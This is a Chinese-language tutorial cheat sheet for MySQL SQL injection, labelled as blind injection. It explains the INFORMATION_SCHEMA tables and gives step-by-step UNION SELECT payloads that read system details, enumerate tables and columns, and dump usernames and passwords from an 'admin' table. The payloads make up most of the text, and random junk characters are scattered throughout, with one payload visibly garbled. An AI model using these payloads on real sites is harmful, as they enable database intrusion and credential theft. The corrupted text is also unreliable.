本文介绍MYSQL盲注的一些语句和方法
/ d6 Z+ ~0 ^: f! a7 e" f& e- h
( W# \! W4 Y" w学习盲注前先了解下 IFORMATION_SCHEMA 库
* f: W) [, e2 {) i8 ^' }3 l; x* t
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
2 ~* H; d- ]8 ~2 |- L% U! L存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。4 M+ D4 x u6 K/ B- F, ?% B
1.得到所有数据库名:
0 w( M' ]' _ j|SCHEMATA ->存储数据库名的表
$ r# x# [* I0 {|---字段:SCHEMA_NAME ->数据库名称
' H. z" @3 k2 e0 x1 P) `( z9 N5 z
# j! s' ~3 Y1 u, a9 q|TABLES ->存储表名
k+ B% _% T B9 o2 O, s! E; {|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名% k7 L1 a+ c; o/ Z. F3 N- X0 }& F
|---字段:TABLE_NAME ->存储表的表名7 I: M/ t( G4 }
a# }; ?% B! E) ~, s5 a' O( ~
|COLUMNS ->存储的字段名表
' U9 Y3 a" L( y( Y|---字段:TABLE_SCHEMA ->该字段所属数据库名 E {+ F! i. h! z# s
|---字段:TABLE_NAME ->存储所属表的名称
% p7 ^/ {& n& ], \
& y3 v4 W D6 r0 T. Q|---字段:COLUMN_NAME ->该字段的名称
& C) l9 r: c& s# e& x1 B+ K1 n4 k9 @" _% A4 a; e( {
3 T( I; ~1 C# W+ e7 Z
! R: D2 D! ?) o J. M- n
###########################################################################
+ K6 |; n- I) t" d/ A) X; k/ F3 q8 x0 l. T1 j7 k$ c
0x001 获取系统信息:3 r1 A- ^$ |* Z6 s6 P
0 s$ e) R! ~. W* nunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*% \- U3 z5 ~9 j6 k$ u
8 V1 I, A" r i8 @ B) J1 x/*4 o- ^' s6 J; U6 \6 G* t- D6 A
# L1 T9 D! `, x@@global.version_compile_os 获取系统版本5 J# r+ l5 a4 o' b H( Y$ F0 \
2 g: q0 D+ ^: g
@@datadir 数据库路径; u7 N3 B$ N7 {4 Y; @/ X
database() 当前数据库名称
2 g" L2 ?) u* K$ o& l( ^0x3c62723e 换行HEX值2 }3 \% _2 Z( o0 X
; j' a& \3 ?' `' |
*/! o: g3 S* K/ e0 y" L" p! o5 Q
& V, h& _2 O7 N/ x) P+ n" j z, C# i* S0 Q" y. ?2 V& z
$ }9 a' R2 J$ T, g3 |2 }
######################################################################
5 c. K! c! m4 O. U7 ~' v
: F, ?% _, x0 ]# ?0x002 获取表名
7 B& Y+ a4 u: U. q
" {" A5 W. U+ R! l- D" r8 a- Vunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*4 ^& q. J c7 x; s
( T- W, S% ~8 x" @) E' D4 \7 r6 S0 l
( m9 R' W# J) C& W
. S3 v, R% \/ G) X% Z2 B7 X/*
. x. i& |9 L/ H5 @, [. F+ t# T2 M7 \% j: E1 ]
0x67617264656e 为当前数据库名( A& v4 b$ V" a7 z1 Q- c
j3 K" v/ ~# w% h2 h
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
: S7 B" `& H( e4 B6 a8 @
: k: P/ @3 W- u; A*/
2 a7 `9 I' y4 X! @$ I" p: [& {/ K6 V6 B6 d" N
######################################################################
! i' P/ j5 z$ m' C }4 m$ ~& C
3 I, D( N% W* _/ U
q) ~, L3 |' [$ M2 U8 h9 D0x003 获取字段
6 O* u3 b7 `* F: t; m- Q
4 D, T. R$ v8 f9 A3 T" iunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*' X; _4 Z- W3 F
7 G( ] i& Z O4 b/ z+ r$ @
/*. P& o" L7 V" R j; b
6 o9 w. O9 ~/ p1 Q, C/ }. K/ ~' d
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
* p- o6 i3 _) m, E4 H9 g7 I7 A. c: e! \ b* i
0x61646d696e ->选择一个表
X2 O$ r4 z$ b/ Q- T5 {- z' z% e9 U! X) Y& r6 X( _
0x67617264656e ->数据库名
( J/ U, z7 S8 z8 O5 B! v) U7 z
1 q$ {0 F4 P* c/ B$ D*/; v' m7 N: ?6 p
Y# N. b( T: s& z" y' w
#####################################################################) ^7 ? s5 ~: b
# I1 I7 D! t p+ T3 q* Y N9 y! X
) G1 a+ D5 |5 d, ~1 E4 k+ ]. @5 N1 W- F0 F/ V: r
0x004 获取数据
3 l) M5 B7 X/ h2 N4 C
/ R6 e+ S O4 dunion select 1,2,3( v$ D. b4 n9 e& }1 B4 G6 g
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin+ B% {7 g, H: }& U
, C1 D3 Q9 r9 l, Q! L$ munion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin( b! ^/ b$ }7 f! D7 s' X1 Z
/ q, q# f h: D& n7 a$ L8 j" S5 I
$ V( _4 W0 r) `9 U6 ?
5 H& M# y& i, D& }8 e8 d k/*
- n# d3 v6 f# R, J# n
# J z) W) |; T% Y+ }: _0x3c62723e 换行符号HEX编码
9 {+ L& e2 O. I3 @- p
* l- b, {1 R. ]* |% Z# {* Sgroup_concat 同时获得该字段所有数据
! {! f% A& A( U1 v9 U( G' t$ f! _! m" N4 r- D* f: g
*/+ Y9 l0 U" B/ S( @6 `+ ]
' o9 B; X% a& ?3 b- z3 u$ e |